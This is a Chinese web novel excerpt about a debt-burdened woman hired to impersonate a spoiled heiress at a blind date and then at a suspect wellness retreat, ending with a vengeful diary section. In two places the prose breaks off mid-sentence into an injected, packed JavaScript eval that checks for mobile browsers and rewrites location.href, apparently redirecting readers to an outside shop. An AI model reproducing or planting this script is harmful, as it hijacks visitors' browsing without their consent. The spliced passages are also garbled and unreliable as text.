《狩猎不幸福之人》 1. 第一章(1) 今年冬天是个暖冬,快到年尾了,太阳传送到地球上的能量还是很足,将人烘烤得懒洋洋的。 此时出租车正经过市中心的商业大道,宁歌透过窗户往外看,阳光照在新建摩登商业大楼的玻璃幕墙上,折射出一片耀眼的金芒,又洒在拥挤的人潮中,旁边绿化带的月季竟然还在肆意绽放。 温暖的空气和绽放的花朵让宁歌有些恍惚,以为自己还在春天。 但春天的时候她刚被裁员,一直到冬天都没有找到新的工作,忙着四处找兼职打零工,对时间的感知也变得模糊起来。 出租车继续向前,窗外的风景渐渐从热闹时髦的摩天大楼,变成安静私密的富人区别墅,道路两边旁的梧桐树也变得光秃秃,树下有一辆辆豪车与出租车擦身而过。 别墅区内石墙高耸,偶尔有枝条和花朵从墙内探出头来,鸟鸣混着潺潺水声,昭示着这一方富贵福地。 “小姑娘这是去别墅区找朋友啊?”司机师傅瞥了眼后视镜,语气带着点好奇。 宁歌扯了扯嘴角,声音轻得像风:“我要是有朋友住在这种地方,哪里还用得着打车啊?我是去给住在这里的有钱人打工的。” 师傅哦了一声,没再多问,只专心地打了把方向盘,拐进一道刻着欧式花纹的大门。 宁歌的心跳却跟着慢了半拍——还不知道今天的兼职顺不顺利呢。 自从今年春天宁歌失业后,找新工作总是不顺利,母亲被好姐妹骗去做投资,钱没赚到,还欠了一屁股债。 宁歌小时候家里十分富裕,但父亲因病去世后,母亲不善经营导致公司关门,结算完毕后剩下的钱虽然没办法跟以前一样,但好歹能继续维持生活。 以前的宁歌仗着自己一人吃饱全家不饿,赚多少花多少,几张信用卡更是刷到爆,但她也不忍心看着母亲日益忧愁下去,有几次还差点去寻短见。 普通的打工收入已经无法填补掉母亲欠债的大窟窿,宁歌便将自己的人力资源挂在网上任人待价而沽,竟然也收到了许多的工作邀约。 一开始只是类似于跑腿一样又累又小的活,类似帮人送个东西,陪人去爬山这样的吃力不讨好还赚不到几个钱的活,客户素质也不高,为了几十块讨价还价说得口干舌燥的,让她烦不胜烦。 后来宁歌痛定思痛,认为不能这样继续出卖苦力,于是她不仅对客户进行了筛选,也对自己的业务能力进行了升级,在不断的复盘和试错当中,她找到了既适合自己也能赚到比上班还多的钱的工作,就是扮演客户需要的某个角色。 这多亏了宁歌的前同事,她和一个小老板的儿子领了证,婆家有钱,不需要她上班,于是她迅速把工作辞掉了,可到了办婚礼的时候,由于人缘不怎么好,她居然连伴娘都凑不齐,竟然联系上宁歌请她帮忙,宁歌也没客气,直接开价,对方也很爽答应了。 好吃好喝还能赚钱,活也轻松,只需要陪着参加婚礼,拍点照片,寒暄几句,至少比在公司里看老板和上司脸色舒服,宁歌决定先不找工作了,先往这方面发展试试看。 在这个过程中,她还得出一个十分重要的人生结论:赚有钱人的钱,更轻松,也更没有心理负担。 宁歌之前接过一个伴娘的活,得坐车到山里,还得走山路,对方转钱的时候还十分不乐意,宁歌在回程的路上看着泥泞的鞋子,叹口气,发誓再也不接穷人的活了。 出租车停在一栋独栋别墅前,宁歌付了钱,道谢后下了车。 出租车缓缓驶离,尾气卷着路边的落叶,很快消散在宁静的空气里。 宁歌站在铁门外,仰头望着这座四层楼的别墅,顶层的三角形阁楼开着窗,像一只睁开的眼睛睥睨着站在地面上的宁歌,三楼的窗扉紧闭,二楼的阳台上有绿萝垂吊下来,随风飘荡,一楼的落地窗浸在草茵里。 指尖悬在门铃按钮上,宁歌顿了三秒,才轻轻按下去。 没人讲话,但门开了,宁歌穿过铁门,脚下的鹅卵石路硌得她有些不自在。 院子里的草坪修剪得整整齐齐,廊檐下挂着的精致风铃发出悦耳的碰撞声,屋里隐约可见有挂着的水晶吊灯十分夺目,宁歌忽然觉得,这里就像书里写的罗马,是她踮起脚尖也够不着的终点,可对从这里出生的人来说,这不过是一睁眼就能拥有的,再普通不过的起点。 不过宁歌对有钱人也不至于到羡慕嫉妒的地步,在前同事的婚礼上她早已见过有钱人是如何体面地算计别人,同时竟然还能得到好名声。 对于现在的宁歌来说,和有钱人打交道的秘诀,就在于尽量不投入感情,利用自己的专业技巧把钱赚到手,迅速抽身,绝不留恋。 至于其他的,尤其是面子之类的的东西最没用了,穷人一定要舍弃掉好面子这种陋习,尤其是在有钱人面前要面子,堪比在大海中撑一艘破船,费力不讨好,而且破绽百出。 有佣人前来迎接,宁歌跟着对方进入别墅内部,晨光透过别墅巨大的落地窗,在地板上投下菱形的光斑,空气中飘着烤面包的麦香与咖啡的醇厚。 水晶吊灯的折射光晃得她眼睛发涩,宁歌揉了揉眼睛,忽然觉得有点疲惫,最近连轴转,参加了好几场婚礼,还当了几次婚托和临时家长,母亲的欠债也还了一大半了,本来打算休息一段时间的,但以前照顾过自己的学姐特意拜托宁歌帮忙接这一单,加上对方开价很大方,宁歌决定接完这一单,一定给自己放大假。 佣人端来一杯咖啡,宁歌也没客气,坐在客厅的沙发上,三口两口喝完,又抽出纸巾仔细擦拭嘴角的奶渍,动作麻利又小心地打量着房屋的装修,眼角的余光却瞥见楼梯口站着个人。 顾思韫穿着丝质睡裙,长发松松地挽在脑后,脸上还带着没睡醒的慵懒,眼神却带着惯有的骄纵:“宁歌?你总算来了,我还以为你不敢来。” 饶是做好了心理准备,第一眼看到顾思韫的时候,宁歌的内心还是受到了巨大的冲击,对方怎么会和自己长得这么像? 一样的鹅蛋脸,下颚的轮廓像是一个模子里印出来的,圆圆的杏眼查重率高达80%,鼻型和嘴巴更像是在照镜子。 宁歌的第一个想法是难道自己和对方是双胞胎?但想到母亲那个心直口快的性子,要是她真的有一个双胞胎送人了,或宁歌只是被她抱养的,她早大声嚷嚷给全世界听了。 排除了两人有血缘关系之后,宁歌很快将察觉到两人之间的差别。 虽然顾思韫和自己看起来长得一模一样,举手投足之间的神态却有着天壤之别。 宁歌下意识侧过身,对着客厅里黄铜雕花屏风,看到自己眉眼间满是疲惫,眼神转动之间流露出来的是匆忙奔波带来的风尘仆仆,唇线抿着时是强撑精神,连抬眼的弧度都透着打工人特有的认真和严肃。 而同一款杏眼在顾思韵脸上展现出来的却是一副趾高气扬的傲睨,唇角微扬便带着天生的疏离,她下颌微抬俯视她人的角度,是宁歌永远不会对别人做的动作。 宁歌的心里咯噔一下,该不会要我给她当替死鬼吧? 有钱人要是有心弄死自己,那自己可是毫无反抗之力啊。 不过这个活是宁歌的学姐介绍过来的,手机上的通话记录都有着呢,而且来之前宁歌还给自己的母亲发了定位,现在是法治社会,摄像头到处都是,有钱人不至于做这种引火上身的事情。 宁歌稍微安下心来,就听到顾思韫对着自己不耐烦地颐指气使:“你跟我来!” 说完不等宁歌回答就转身离开,宁歌跟在她身后,踩着柔软的地毯,听着自己的脚步声被吞噬。 顾思韫的房间大得惊人,落地窗外是修剪整齐的花园,衣帽间的门敞开着,挂满了各式各样的名牌服饰,梳妆台上的化妆品摆得像展览。 顾思韫往沙发上一坐,拿起手机划了划,语气带着烦躁:“你都听学姐说了吧?我爸妈又给我安排了相亲,烦死了。你替我去见一下那个男的,先付给你一万,搞砸这次相亲之后,再给你付一万。” 宁歌愣住了,之前说好的替她去相亲,只需要五千而已,下意识想拒绝,却听见顾思韫补充道:“你也不用假装客气,这点钱对我来说不算什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119733|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,或者你想要什么,都可以跟我说,只要我能办到。” 顾思韫的慷慨和她的暴躁一样十分惹眼,来这里之前学姐给宁歌打过预防针,说顾思韫脾气是骄纵了点,但人还是很单纯善良的。她从小在蜜罐里长大,有哥哥姐姐护着,家族产业轮不到她操心,也不用她去社会上摸爬滚打。 宁歌却觉得顾思韫就像一只被关在金笼子里的金丝雀,拥有最好的一切,却从来没有机会展翅高飞,她的世界里只有精致的玩乐和无尽的空虚,永远成不了那些在风雨中狩猎的狼——或许她的哥哥姐姐也乐于如此,用锦衣玉食磨灭她的意志力,让她永远做个无忧无虑、对家族没有威胁的小公主。 宁歌沉默了片刻,最终点了点头。 在一旁等待许久的化妆师和造型师等宁歌点完头,顾思韫眼神稍微示意,两人就步子利落地上前,一左一右架着宁歌按进梳妆椅,掐着宁歌胳膊的力道带着不容抗拒的专业强势。 “头抬一点,别僵着。”化妆师冷声道,海绵扑蘸着细腻底妆层层叠叠压在她脸上,遮去颧骨处淡淡的雀斑,也掩去眉眼间那点疲惫的愁;眉笔顺着她本就契合的眉骨精准勾勒,拉平眉峰的微倔,晕出顾思韫标志性的冷挑弧度,眼线眼尾稍微斜飞一笔,宁歌整个人就无端端地冷了起来。 一旁的造型师拢过宁歌的头发,梳子齿划过发间带着微凉的硬,“头往后仰一点,要抓紧时间!” 宁歌顾不得盯着镜子里自己的变化,被化妆师像个洋娃娃般揉扁搓圆,将她的碎发都打理得服服帖帖,整颗头十分光滑顺溜。 化妆师又捏着她的下颌轻转,修容粉在脸颊、下颌扫出利落的阴影,干燥瘪平的唇被唇膏滋润,再用口红修饰,竟然变得圆润饱满起来z 宁歌十分不适应被人这样服侍,手指攥住梳妆椅的扶手,下意识偏头想躲,却被化妆师按住后颈掰回来,“别动,画歪了重来。”冷硬的话音里,她只能僵着身子任人摆弄,连呼吸都不敢放重。 妆容和发型搞定后,造型师便取来顾思韫常穿的品牌高定西装,深色的外套挺括有型,内搭同色系真丝衬衫,高腰西装裤掐出利落的腰线。 两人一左一右忙得手指乱飞,扯平衬衫的褶皱,扣好外套的真牛纽扣,理直西装的裤线,就连袖口的翻折角度都有特定要求。 顾思韫还坐在沙发上,佣人给她端来咖啡,她轻轻抿了一口,又饶有兴致地打量着宁歌,嘴角露出恶作剧般的浅笑,似乎觉得把另一个人打扮得和自己一模一样,是一件很有趣的事情。 “你是代替我去相亲,所以要严格复刻我的穿衣用度,不能给顾家丢脸。” 宁歌望着镜中人,已不再是自己熟悉的模样,但她十分清楚,真实的自我是什么样子。 于是她低头轻声应答:“知道了。” 顾思韫突然站起身,将咖啡杯仍在柜子上,里面的咖啡液洒出来,旁边的佣人面不改色地收拾残局。 “你这语气就不对!什么知道了?只有顾家大小姐教训别人的份,哪有顾家大小姐听别人的教训?” 她一挥手,“算了!冒牌货始终是冒牌货,等下被人拆穿了,被别人笑话我又要挨骂,我还是自己去吧!” 宁歌哪敢让这煮熟的天鹅飞了,一万五千块呢!于是强装镇定,大声呵斥顾思韫:“你叽叽喳喳叫什么呢?我让你说话了吗?” 说完这句话,整个卧室都陷入了寂静,化妆师、造型师、佣人都低着头,大气都不敢出,宁歌其实心里也有点拿不准,担心自己搞砸这桩肥美的差事。 但顾思韫听到宁歌的呵斥竟然笑了起来,那笑声猝不及防在宁歌的耳边炸开,清冷又带着张狂的音调在化妆间里横冲直撞,似要将所有的物件都彻底粉碎。 宁歌听到这笑声,倒有些放下心来,果然,顾思韫笑完,走到宁歌的身边站定,指尖漫不经心地从宁歌的耳边划过,缓缓向下,落到宁歌西装的领口,不经雕琢的素颜脸上绽放出来的是全然的恶意,“学我的大小姐脾气倒确实有几分像,我倒要看看,你能不能骗过那个男的。” 2. 第一章(2) 顾思韵的座驾是辆哑光黑宾利添越,司机早候在车旁,车身线条敛着锋芒,哑光漆面在这冬日暖阳里泛着细腻的冷泽。 轻拉车门时无声无响,座椅是定制的贴合弧度,宁歌缓缓靠上去,抬手按了按车门边的调节键,座椅缓缓后移,留出舒适的空间。 等顾思韫上车后,司机轻合车门,只听到一声极闷的轻响,随后车轮缓缓转动,载着两人驶离别墅区。 相亲的地点定在一家熟客制餐厅,比起星级酒店或网红咖啡馆,这里更私密,更安静,更符合有钱人的需求。 司机将车停在停车场后便下车了,只留下宁歌和顾思韫两人,宁歌知道这是顾思韫有话要对自己说,赶忙打起精神。 顾思韫看着宁歌一副任劳任怨任人差遣的老实样,嗤笑一声,命令她:“从现在开始你就是顾思韫,不管遇到谁,都要坚持做到这一点,哪怕是你妈来了,你也要对她翻白眼,哪怕是我说你是个冒牌货,你也要指着我的鼻子破口大骂!” 宁歌很有眼力见,她迅速直起脊背,斜眼看向顾思韫,蹙起眉头,不耐烦道:“知道了!” 顾思韫今天没化妆,素着一张脸,穿着宽松的家居服,她皱起脸看着宁歌,不断地摇头,叹息道:“你跟我真的太像了!可惜啊可惜,怎么没有早点遇到你,不然我可以雇你帮我上课、考试、应付各种无聊的社交场合。” 宁歌转头看向窗外,冷声道:“想得倒是挺美,你请得起吗?” 她把顾思韫高高在上的语气学了个十成十,顾思韫也没生气,反而兴致勃勃,畅想道:“你平时就做什么工作的啊?我可以一直雇佣你帮我做我不愿意做的事情吗?” 宁歌没有搭理顾思韫,似乎在专心观察车窗外的风景。 “你放心,我一定会给你很丰厚的……” 没等顾思韫说完,宁歌就拉开车门,头也不回地将车门关上,然后径直离开。 只留下顾思韫一个人坐在车里,她先是目瞪口呆,觉得不可思议,这还是第一次有人用如此高傲无理的态度对她,顾思韫不得立即下车,扯住宁歌的头发,狠狠教训她一次。 但等冷静下来后,顾思韫意识到就是自己让宁歌扮演顾思韫的,而自己平时确实就是像宁歌这样高傲无理地对待别人。 顾思韫回想了一下宁歌的表情和细节,不得不承认她在扮演顾思韫这件事情上做得很好。 顾思韫无语地笑了一下,将座椅下压,觉得有了宁歌之后,自己以后的生活会变得很有趣,她甚至开始期待让宁歌假扮自己去戏弄那些小姐妹们了。 木窗棂糊着纱,八仙桌擦得锃亮,约定好的地方安静地像是世外桃源,不等宁歌报上自己的名字,领班就凑上前来,热络道:“思韫大小姐!好久不见。” 宁歌觉得好笑,思韫大小姐这个称呼肯定是顾思韫让这里的工作人员这样叫她的,毕竟她不是顾家大小姐,但也不希望被人叫顾家小小姐,只好叫她思韫大小姐了。 但宁歌也没真的笑出声,毕竟还需要保持顾思韫高冷狂傲的大小姐人设,只是面色冷淡,不轻不重地嗯了一声,表示应答。 领班不露神色地观察着对面的人,觉得大小姐今天可能心情不好,毕竟被家里催着出来相亲,于是她更加小心谨慎地将大小姐送进包厢,祈祷今天的工作能够顺利进行。 宁歌在包厢里坐下,盘算着今天要怎么将客户的委托完成,介绍这单委托的学姐早把顾家的算盘给宁歌拨弄得门儿清。 顾家的传统服装供应链早陷了供大于求的泥沼,仓库堆着的面料能铺半条街,父辈们急着破局,一头扎进金融和传媒的陌生领域,偏缺了靠谱的门路和资源。而顾思韫今天的相亲对象邓博问,家族企业里就包括业内崭露头角的新兴金融公司,是顾家踮脚也要够到的桥。 顾家的底子还有,只是传统供应链这两年不好做,库存、现金流,都是坎儿,反正推出去家里一个吃闲饭的女儿,只需要一张结婚证,就能搭上另一条线,这种生意最划算。 这场相亲从一开始就没藏着半分温情,是家里明晃晃的布局,是带着商业筹码的试探。例如宁歌身上的真丝衬衫,就是是顾家工坊制作出来的,看对方到底识不识货,是草包还是有真材实料。 可顾思韫让宁歌假扮自己去相亲,还要求她搞砸这次相亲的意思分明是不满意父辈的安排。 宁歌猜测像是顾思韫这样的富家大小姐,真让她独立出去她也没那个才能和魄力,最后会发现还是家里最舒服安全,只是这一次她非得要让自己的脾气撒个够才行。 那宁歌应该做的就是对此次的相亲对象保持冷淡,既不过分热烈,但也不应该毫无礼貌,最好是一切都平平淡淡,争取不给人留下深刻的印象,这样的话之后事情有什么翻转也怪不到宁歌身上。 宁歌在包厢里坐了好一会儿,百无聊赖地抬眼望出去,窗沿上停着只麻雀,正歪头啄着翅尖的羽毛,蹦跶两下就扑棱着飞走了,可说好的相亲对象,还是连个影子都没有。 约定的时间早过了一刻钟,空气里的茶香都变得寡淡。宁歌指尖在桌面点了点,一股说不清的不对劲漫上来——对方不是单纯的迟到,是连一点解释都没有的杳无音信,透着股莫名的敷衍。 这不对劲,难不成对方忘记这场相亲了?还是知道顾家想要攀附的野心,故意给顾思韫下马威呢? 正当宁歌胡思乱想时,门口有动静传来,一道身影推门进来,宁歌抬眼看去,指尖捏着手机的动作顿住,心里当即敲了定音——对方跟自己一样是个冒牌货,还是演技蹩脚的那种。 宁歌忽然有了优越感,原来自己的业务能力还算不错的,那她可以心安理得收下顾思韫的两万块了。 她坐在原地没动,暗戳戳地打量这个刚进来的男人,对方一身乍眼的高定西装明显不合身,肩线撑得僵硬,裤脚堆在皮鞋鞋帮上,领口的领带打得歪歪扭扭,丝绸面料泛着廉价的光泽,不是正品该有的细腻质感;手腕上的名表表盘偏大,表带扣得紧绷,他抬手时总下意识护着腕间,像是怕人看出表盘的刻度印得模糊,与真正富家公子随手佩戴、浑然不觉的松弛感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然顾思韫是女生,得顾全顾家的面子,把宁歌拾掇得光鲜亮丽来相亲,估计她也没料到邓博问派出来的这个冒牌货居然是这种装都不愿意装的伪劣产品。 但宁歌不是顾家的人,对方羞不羞辱的跟自己没有关系,自己只是个打工的,完全不需要为有钱人操心。 等刘闻离开后,宁歌也没做停留,径直离开包厢,领班追出来问:“思韫大小姐,今天是怎么回事呢?饭都不吃了吗?”脸上却是藏不住的八卦神情。 宁歌堪堪停住,盯着领班的脸,皮笑肉不笑地对她说:“不吃了,没胃口,但帐你先挂上,月底一起结算。” 领班有些心虚,知道自己被对方看穿了,只是停住脚步,鞠躬道:“那就谢谢思韫大小姐啦!” 宁歌回到车上,顾思韫还在睡觉,她把顾思韫拍醒,说起邓博问派出的冒牌货。 顾思韫听着宁歌的复述,瞌睡都醒透了,笑得前仰后合:“太好玩了!对方的想法居然跟我一样!那我非得要见到他的本人不可!” 她兴奋地抓住宁歌的手,“咱们继续玩这个互换身份的游戏吧,接下来我带你去找邓博问本尊!” 3. 第一章(3) 宁歌有些犹豫,以她对顾思韫的了解,如果真的和邓博问见面的话,估计要会闹得不可开交,场面一定十分混乱。 作为一个富家大小姐,顾思韫非常知道如何把握别人的弱点,她看出来宁歌非常缺钱,于是捻着精致的珍珠耳钉,漫不经心道:“再给你加五万,跟我去一趟?” 她的语气是一贯以来的笃定,像是经常用钱顺利地拿捏过别人。 而她确实能够拿捏宁歌,有了这五万,讨债人应该会松一口气,自己和母亲应该能过个好年。 宁歌垂在身侧的手紧了紧,抬眸迎上对面审视的目光,只说:“先把之前劳务打给我。” 顾思韫半点不拖沓,当即摸出手机操作,不过几秒,宁歌的手机便震了震,到账提示跳了出来。 那串数字突兀地跳进宁歌的进眼里,比约定好的两万还要多很多,她心头的沉郁散了大半,连日来积攒的劳累也瞬间烟消云散。 有钱真好,比任何灵丹妙药都有用。 宁歌攥着手机,指尖抵着冰凉的屏幕,终是松了口:“走吧。” 冒牌货刘闻之前提到过邓博问最近一直在忙着他的创业项目,据说一直呆在城郊那边,很少回家族公司本部。 富家子弟的出路就那些,要么在自家企业的基层做起,做得好能成为接班人,再不济也能拿到股份分红,要么就拿着家族的创业基金自己去投资做新的项目,看来邓博问是后者,就是不知道他到底是纨绔子弟还是精英才俊。 顾思韫点点头,在手机上敲了几下,很快有人打来电话,她扬起眉头,听着电话那头的汇报,很快知道了刘博问最近在哪里干什么。 不多时,司机立马出现,还给顾思韫带来了一家网红店的三明治和咖啡,顺带也给宁歌准备了一份。 车子驶离城区,沿着蜿蜒的山路爬升,钢筋水泥的丛林逐渐被层层叠叠的绿意取代。 车窗外的风景渐渐变得开阔,城市喧嚣似乎已是很久之前的事情。 宁歌在手机上搜索了邓博问的创业项目,小程序跳出来的时候,指尖忽然在屏幕上凝住。 网站的设计充满了简朴的疗愈感,没有花哨的特效和繁复的配色,最上层写着创业项目的名称——山海疗愈心灵谷。 素净的配图里是青山绕着白墙,溪涧淌过青石板,上面还有几个小标题,山海疗愈谷,心的避风港、山海藏温柔,疗愈失意心、入山海,心自愈等等,下面大段介绍着这处藏在山水间的疗愈基地,有许多的活动和项目,例如正念、冥想、禅修、瑜伽、颂钵、音疗、太极、八段锦等,专门治愈那些被生活磋磨得失意茫然的人,职场碰壁的、前路迷茫的、心里攒着解不开的结的,都能来这山野里歇脚,卸去一身疲惫,抚平心底的褶皱。 宁歌不以为意,要说这世界上有什么能过治愈内心的疲惫和伤痛,她觉得只有金钱能够做到。 不过像是邓博问这样的富家子弟,肯定经过了一番调研和考察,了解到这类的疗愈需求市场非常巨大,才会下场做这种项目。 愿者上钩,宁歌肯定这种地方没有自己想要的饵。 很快,车辆停在山海疗愈心灵谷的基地前面停下。 宁歌推开车门,一股夹杂着草木与泥土气息的风扑面而来,眼前的建筑群让她微微挑眉——青瓦白墙,飞檐翘角,木质回廊蜿蜒曲折,墙角爬满了翠绿的藤蔓,匾额上“山海疗愈心灵谷”七个篆字透着古朴韵味,完全符合小程序上“返璞归真、治愈疲惫伤痛心灵”的宣传调性。 顾思韫在宁歌身边站定,掏出手机拍了几张照片,眉梢不自觉微扬了一瞬,目光扫过眼前的建筑,唇瓣轻启,语气里仍带着惯有的矜傲,撂下一句:“倒还真有点样子。” 宁歌不置可否,目光扫过那些看似随意摆放的陶罐、挂在枝头的风铃,眼底掠过一丝审视。 这些精心营造的“原始感”,反倒透着刻意的雕琢,像极了商家为吸引顾客打造的网红打卡点,只是换了“疗愈修行”的包装。 两人刚走到大堂门口,就被一阵喧闹声拦住了去路。 一个头发白了一大半的中年女人正扯着工作人员的衣袖,情绪激动地哭喊:“你们这就是骗人的!我女儿来了半个月,人没见着多少变化,倒是花了好几万买你们的什么破修行茶,拆开包装一看,网上就买几十块钱,你们这是欺诈!是骗子!” 工作人员穿着同一的白色制服,只在左边胸口有山海疗愈心灵谷的logo,她被扯得身形微晃,仍耐着性子轻声解释,语气里满是恳切:“阿姨您先冷静点,这茶是我们基地工作人员和学员一起种的,手工炒制的,跟网上量产的根本不一样。而且您女儿当初买的时候,确实是有效果的,至少那段时间她再也没做过自残的事啊。” “有效果?那是糊弄人的!”中年女人猛地拔高声调,红着眼眶大喊,字字戳地,“什么有效果,她本来就没事,都是上网上多了跟风才搞些什么自残的事情,就是你们编的幌子骗钱!今天必须全额退款,不然我现在就报警,让警察来查你们这骗人的地方!” 她越说越激动,扯着衣袖的力道又重了几分,哭声混着怒火,一副不退钱绝不罢休的模样。 周围的参与者纷纷侧目,有人窃窃私语,有人面露犹豫。工作人员却始终保持着温和的笑容,没有丝毫不耐烦,轻轻拍了拍女人的手背:“大姐您先别激动,您的诉求我们完全理解。疗愈修行本就是因人而异,若您觉得产品不符合预期,我们现在就为您办理全额退款,之前购买的产品也不用退回。不仅如此,您女儿还能继续留在基地免费参与后续所有课程,直到她真正感受到内心的平静。” 女人愣了一下,似乎没料到对方如此痛快,哭闹的势头渐渐弱了下去。工作人员趁热打铁,又低声安抚了几句,最终领着女人去了办公室办理退款手续,一场闹剧消弭于无形。 宁歌松了口气,小声说:“这么多人,说退款就退款?这生意能做下去吗?” 顾思韫冷笑一声,声音不大却清晰地传入宁歌耳中:“她们不过是怕事情闹大,砸了招牌。” 她看着宁歌诧异的眼神,继续道,“你以为他们真的大方?全额退款看似吃亏,却平息了纠纷,保住了在场其他人的信任。免费续课更是高明,既稳住了那个女儿,又能让她成为活广告,吸引更多像你这样觉得组织有温度的潜在顾客。” 她顿了顿,指尖划过身旁一个标价不菲的粗陶水杯:“至于那些所谓的修行好物,成本恐怕连售价的零头都不到,低买高卖, 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而当导师说起:“那些看似昂贵的器物,并非商品,而是承载着天地灵气的媒介,帮助你们更快地进入静心之境。”就连顾思韫也连连点头。 宁歌总算是知道了什么叫一个驴有一种栓法,现代生活快速且纷杂,几乎所有人都有某种大大小小的心灵症结,而邓博问的开设的山海疗愈心灵谷,简直就是顺应时代而产生的。 宁歌摇摇头,资本家要赚钱,总会有各种名头,自己不入套便是。 但她没想到,刚刚还不屑一顾,将邓博问的商业批评地一无是处的顾思韫竟然只是上了一堂课而已,就立马转变了自己的想法。 下课铃响,参与者陆续离场,顾思韫还缠着正念导师问东问西,等结束后她追上走在前面的宁歌,问她:“你好像对这些东西不是很感兴趣?” 宁歌内心腹诽,岂止是不感兴趣,这什么正念冥想简直就是诈骗,刚刚在门口闹着要退款的母亲一语道破了山海疗愈心灵谷的商业运作模式,只不过她看到顾思韫这么上心,不好把话说得太明白,于是难为情道:“我觉得这边的课程太贵了,一堂课就要888元,一整个项目就要8888元,对我来说超过预算了。” 顾思韫冷笑一声,不客气道:“我说你们这种穷人,就是因为舍不得花钱,总是这样斤斤计较,才会赚不到大钱。不过等你有钱了,就会知道,内心的平静是无价的。” 她的话越界又冒昧,宁歌在内心尖叫,这种何不食肉糜的思想才是你内心不平静的根源! 宁歌认为这只是理念差异,虽然顾思韫的话称得上粗鲁无礼,但她付钱很大方,于是接着对方的话头称赞顾思韫:“是呢,我们穷人只能顾得上眼前的几毛钱,没有大局观,思韫大小姐你不一样,你的人生高度完全在我之上,如果我跟你上一样的课,那才是对你的亵渎。” 顾思韫没说话,她听出来宁歌在敷衍自己,只是冷冷地盯着宁歌,现在还有用得上她的时候,等事情结束之后再收拾她也不迟。 这一幕恰好被刚从禅室出来的江月看在眼里。她靠在廊柱上,手里把玩着一串木质佛珠,目光在顾思韫冷冽的侧脸和宁歌故作委屈的神情间流转,嘴角勾起一抹意味深长的笑。 4. 妹妹日记 妹妹日记 姐姐,今天我遇见了她们其中的一个。 她变了好多,穿得光鲜亮丽,人模人样,那些衣服一看就很高级昂贵,但她整个人好像非常疲惫,甚至还在课堂上睡着了。 听说她母亲欠了很多钱,讨债的都找到她单位上了,害得她连工作都丢了。 之后她就开始打零工还债,什么活都接,我假装有活要找她,加上她的微信后,发现她经常在朋友圈里发一些被顾客欺骗、戏弄的惨兮兮的事情,真可怜。 你说人活成她这样有什么意思呢? 为什么像她这样的人还能像下水道的老鼠一样活下来,但你确失去了自己的生命呢?这世界真混蛋。 不过下水道的老鼠生命力真的很顽强,因为她们会在别人稍不注意的时候抓住一切机会,让自己活下去。 后来她开始赚一些比较轻松的钱,例如假扮加入有钱人家的新婚妻子的朋友、帮人去抓奸、替人连夜离开这个城市…… 只要不违法违规,为了钱,她什么都可以做。 本来我想着可以找个机会雇佣她,这样可以更接近她、了解她,然后做我想做的事情。 没想到,她竟然自己送上门来了。 她和一个看起来十分嚣张跋扈的大小姐在一起,我知道那个大小姐是谁,她叫顾思韫。 之前因为和出租车司机打架上过新闻头条,还叫嚣着没有钱解决不了的事情,我对她印象十分深刻。 而她今天打扮得和顾思韫一模一样,应该是被这位大小姐雇佣来顶替她做什么事情的吧。 那位顾思韫大小姐对她呼来喝去,颐指气使,而她逆来顺受,指哪打哪。 甚至在那位侮辱她的人格尊严时,也依然能保持微笑,谄媚地顺着对方的话来贬低自己。 姐姐,人为了钱,尊严就可以被践踏吗? 她还不如死了算了。 / 江月从山海疗愈心灵谷基地离开,同路的还有组织大家来这里做清洁打扫的大姐赵荷花,两人等了好久,才搭上了公交车。 一路上都在跟江月絮絮叨叨地抱怨,诉说这个基地的人打着疗愈众生的幌子,给的钱却非常少,剥削像自己这样的劳苦打工人,说一套做一套,肯定不会长久的。 江月嗯嗯点头敷衍着对方,心里却十分不耐烦,不过这个大姐门路很多,她手上的兼职单子遍布整个城市,现在还不能跟她撕破脸,江月心里盘算着要早点下车,躲过对方堪比苍蝇般嗡嗡嗡的说话声。 “哎哎,你家不是还有好几站才到吗?”看到江月起身要下车,赵荷花连忙拉住她,以为她下错了站。 江月回头,露出一副乖巧的笑脸,说:“这里有个大型超市,晚上八点之后五折,我去买点菜。” 赵荷花听到有便宜可以占,连忙站起来,兴奋道:“我也去!我也去!” 江月暗叫不好,又撒了一个谎,说:“这路公交发出的时间间隔很长,那你等下等不到公交车,还得打车回去,不划算呀。” 赵荷花若有所悟地点点头,说:“也是也是。”又叮嘱江月:“小江,天黑了,你早点回家。” 江月听话地点头,很快下了车,隔着车窗和赵荷花挥手道别,热切道:“赵姐,下次有这里的活还可以叫上我!” 怕对方有所怀疑,为什么要去这种偏远的给钱还少的地方,于是又补充道:“那里远离城市,清静得很,我很喜欢,钱给少点也没关系!” 赵荷花喜上眉梢,江月虽然年纪小,但干活很利索,也不讨价还价,估计是放寒假的大学生来打零工了,于是连连点头:“好嘞好嘞!我们手机联系!” 看着公交车的车尾灯渐渐消失在夜色里,江月脸上那副乖巧的笑容立马消失,变得乖张冷戾起来。 江月一直以来都很会装乖,尤其在姐姐面前,虽然姐姐每次都看穿自己的小心思,但每次都包容她的所作所为。 无论是看上姐姐的新衣服,还是耍赖不想去干轮到自己干的家务活,姐姐都任劳任怨无怨无悔交出她的一切给江月。 这么好的人,为什么会走得那么早呢? 江月没有去自己跟赵荷花说的大型超市,自从姐姐和母亲先后离开这个世界,只留下江月一个人时,她就再也没有进过厨房了。 那个曾经装满了一家人欢声笑语,端出来无数道美味佳肴的地方,现在已经被锁上,落满了灰尘。 江月沿着公交车前进的路线继续行走,脑海中的思绪也如同她本人一样陷入无边的黑暗中。 回到家,江月摸黑推开那扇掉了漆的木门,先走到客厅的小桌前,给和姐姐和母亲上了香。 